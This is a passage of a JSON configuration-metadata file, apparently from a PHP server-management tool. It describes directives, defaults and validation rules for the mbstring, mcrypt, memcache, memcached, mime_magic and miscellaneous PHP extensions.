                "shortDescription": "Overloads a set of single byte functions by the mbstring counterparts",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0>"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:8:{i:0;s:4:\"none\";i:1;s:14:\"mail functions\";i:2;s:16:\"string functions\";i:3;s:25:\"string and mail functions\";i:4;s:15:\"regex functions\";i:5;s:24:\"regex and mail functions\";i:6;s:26:\"regex and string functions\";i:7;s:13:\"all functions\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.http_output_conv_mimetypes": {
                "shortDescription": "Defines http output mimetypes",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.regex_stack_limit": {
                "shortDescription": "This directive specifies maximum stack depth for mbstring regular expressions. It is similar to the pcre.recursion_limit for PCRE.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mcrypt": {
        "name": "mcrypt",
        "extensionId": "mcrypt",
        "isDaemon": 0,
        "shortDescription": "MCrypt Library Interface",
        "longDescription": "Provides an interface to the mcrypt library.\nNote:\nLibmcrypt libraries must be installed in order for this extension to function.",
        "iniFileName": "mcrypt.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mcrypt.algorithms_dir": {
                "shortDescription": "Location of algorithms modules",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mcrypt.modes_dir": {
                "shortDescription": "Location of modes modules",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "memcache": {
        "name": "memcache",
        "extensionId": "memcache",
        "isDaemon": 0,
        "shortDescription": "memcached Distributed Caching",
        "longDescription": "Provides access to memcached - a highly efficient memory based caching daemon.",
        "iniFileName": "memcache.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "memcache.allow_failover": {
                "shortDescription": "Whether to transparently failover to other servers on errors",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.max_failover_attempts": {
                "shortDescription": "Defines how many servers to try when setting and getting data. Used only in conjunction with memcache.allow_failover",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.chunk_size": {
                "shortDescription": "Data will be transferred in chunks of this size, setting the value lower requires more network writes. Try increasing this value to 32768 if noticing otherwise inexplicable slowdowns",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.default_port": {
                "shortDescription": "The default TCP port number to use when connecting to the memcached server if no other port is specified",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.hash_strategy": {
                "shortDescription": "Controls which strategy to use when mapping keys to servers. Set this value to consistent to enable consistent hashing which allows servers to be added or removed from the pool without causing keys to be remapped. Setting this value to standard results in the old strategy being used",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.hash_function": {
                "shortDescription": "Controls which hash function to apply when mapping keys to servers, crc32 uses the standard CRC32 hash while fnv uses FNV-1a",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.compress_threshold": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "20000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.lock_timeout": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "15"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.protocol": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "ascii"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.redundancy": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.session_redundancy": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcache.default_timeout_ms": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "memcached": {
        "name": "memcached",
        "extensionId": "memcached",
        "isDaemon": 0,
        "shortDescription": "memcached Distributed Caching",
        "longDescription": "This extension uses libmemcached library to provide API for communicating with memcached servers.",
        "iniFileName": "memcached.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "memcached.compression_factor": {
                "shortDescription": "Compression factor. Store compressed value only if the compression factor (saving) exceeds the set limit. Store compressed if: plain_len is greater than comp_len * factor. The default value is 1.3 (23% space saving).",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1.3"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.compression_type": {
                "shortDescription": "Set the compression type, valid values are: fastlz, zlib. The default is fastlz.",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "fastlz"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{s:6:\"fastlz\";s:6:\"fastlz\";s:4:\"zlib\";s:4:\"zlib\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_binary": {
                "shortDescription": "Use memcached session binary mode. Libmemcached replicas only work if binary mode is enabled. The default is Off.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_locking": {
                "shortDescription": "Use session locking. Valid values: On, Off, the default is On.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.compression_threshold": {
                "shortDescription": "The compression threshold. Do not compress serialized values below this threshold. The default is 2000 bytes.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.serializer": {
                "shortDescription": "Set the default serializer for new memcached objects. Valid values are: php, igbinary, json, json_array.",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "igbinary"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:4:{s:3:\"php\";s:3:\"php\";s:8:\"igbinary\";s:8:\"igbinary\";s:4:\"json\";s:4:\"json\";s:10:\"json_array\";s:10:\"json_array\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_lock_wait": {
                "shortDescription": "Session spin lock retry wait time in microseconds. Be carefull when setting this value. Valid values are integers, where 0 is interpreted as the default value. Negative values result in a reduces locking to a try lock. The default is 150000.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "150000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_lock_max_wait": {
                "shortDescription": "The maximum time, in seconds, to wait for a session lock before timing out. Setting to 0 results in default behavior, which is to use max_execution_time.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_prefix": {
                "shortDescription": "Memcached session key prefix. Valid values are strings less than 219 bytes long. The default value is memc.sess.key",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "memc.sess.key"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.default_connect_timeout": {
                "shortDescription": "Default memcached connection timeout for new connections.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.default_consistent_hash": {
                "shortDescription": "Use consistent hashing. Valid values: On, Off, the default is On.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.default_binary_protocol": {
                "shortDescription": "If set to On, the memcached binary protocol is used by default. If set to Off, the memcached text protocol is used.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_binary_protocol": {
                "shortDescription": "If use the memcached binary protocol for memcached sessions.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_connect_timeout": {
                "shortDescription": "Memcached connect timeout value.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_consistent_hash": {
                "shortDescription": "If use memcached session consistent hash mode",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_lock_expire": {
                "shortDescription": "The time, in seconds, before a lock should release itself.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_lock_retries": {
                "shortDescription": "The number of times to retry locking the session lock, not including the first attempt.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "200"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_lock_wait_max": {
                "shortDescription": "The minimum time, in milliseconds, to wait between session lock attempts.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "150"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_lock_wait_min": {
                "shortDescription": "The minimum time, in milliseconds, to wait between session lock attempts.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "150"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_number_of_replicas": {
                "shortDescription": "Write data to a number of additional memcached servers.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_persistent": {
                "shortDescription": "Whether or not to re-use the memcached connections corresponding to the value(s) of session.save_path after the execution of the script ends.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_randomize_replica_read": {
                "shortDescription": "Memcached session replica read randomize",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_remove_failed_servers": {
                "shortDescription": "If allow failed memcached server to automatically be removed.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_sasl_password": {
                "shortDescription": "Session SASL password.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "NULL"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_sasl_username": {
                "shortDescription": "Session SASL username.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "NULL"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.sess_server_failure_limit": {
                "shortDescription": "Set this value to enable the server be removed after configured number of continuous times connection failure.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memcached.store_retry_count": {
                "shortDescription": "Set this value to enable the server be removed after configured number of continuous times connection failure.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mhash": {
        "name": "mhash",
        "extensionId": "mhash",
        "isDaemon": 0,
        "shortDescription": "Hash Algorithms",
        "longDescription": "HMhash can be used to create checksums, message digests, message authentication codes, and more.\nNote:\nLibmhash libraries must be installed in order for this extension to function.",
        "iniFileName": "mhash.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "mime_magic": {
        "name": "mime_magic",
        "extensionId": "mime_magic",
        "isDaemon": 0,
        "shortDescription": "MIME Detection",
        "longDescription": "Enables MIME type detection using magic numbers.",
        "iniFileName": "mime_magic.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mime_magic.debug": {
                "shortDescription": "Enable\/disable debugging",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mime_magic.magicfile": {
                "shortDescription": " The path to the magic.mime file",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ming": {
        "name": "ming",
        "extensionId": "ming",
        "isDaemon": 0,
        "shortDescription": "Ming Functions for Flash",
        "longDescription": "An open-source (LGPL) library which allows you to create SWF (\"Flash\") format movies.\nWarning: This extension is experimental. The behavior of this extension may change without notice in a future release of PHP. Use this extension at your own risk.\nNote:\nMing libraries must be installed in order for this extension to function.",
        "iniFileName": "ming.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "Misc": {
        "name": "Misc",
        "extensionId": "Misc",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Assorted Directives",
        "longDescription": "Assorted Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "fastcgi.error_header": {
                "shortDescription": "Response string to send on a failed (500) http request",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fpm.config": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "browscap": {
                "shortDescription": "Name of browser capabilities file",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ignore_user_abort": {
                "shortDescription": "Whether or not scripts are terminated after a client aborted their connection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "user_ini.cache_ttl": {
                "shortDescription": "\n\t\t\t\t",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "user_ini.filename": {
                "shortDescription": "\n\t\t\t\t",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ".user.ini"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "report_zend_debug": {
                "shortDescription": "Prints out descriptive bug messages in case of error in PHP development\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "highlight.string": {
                "shortDescription": "Highlighted string color",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "highlight.comment": {
                "shortDescription": "Highlighted comment color",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "highlight.keyword": {
                "shortDescription": "Highlighted keyword color",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "highlight.bg": {
                "shortDescription": "Highlighted background color",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "highlight.default": {
                "shortDescription": "Highlighted default color",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "highlight.html": {
                "shortDescription": "Highlighted HTML color",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
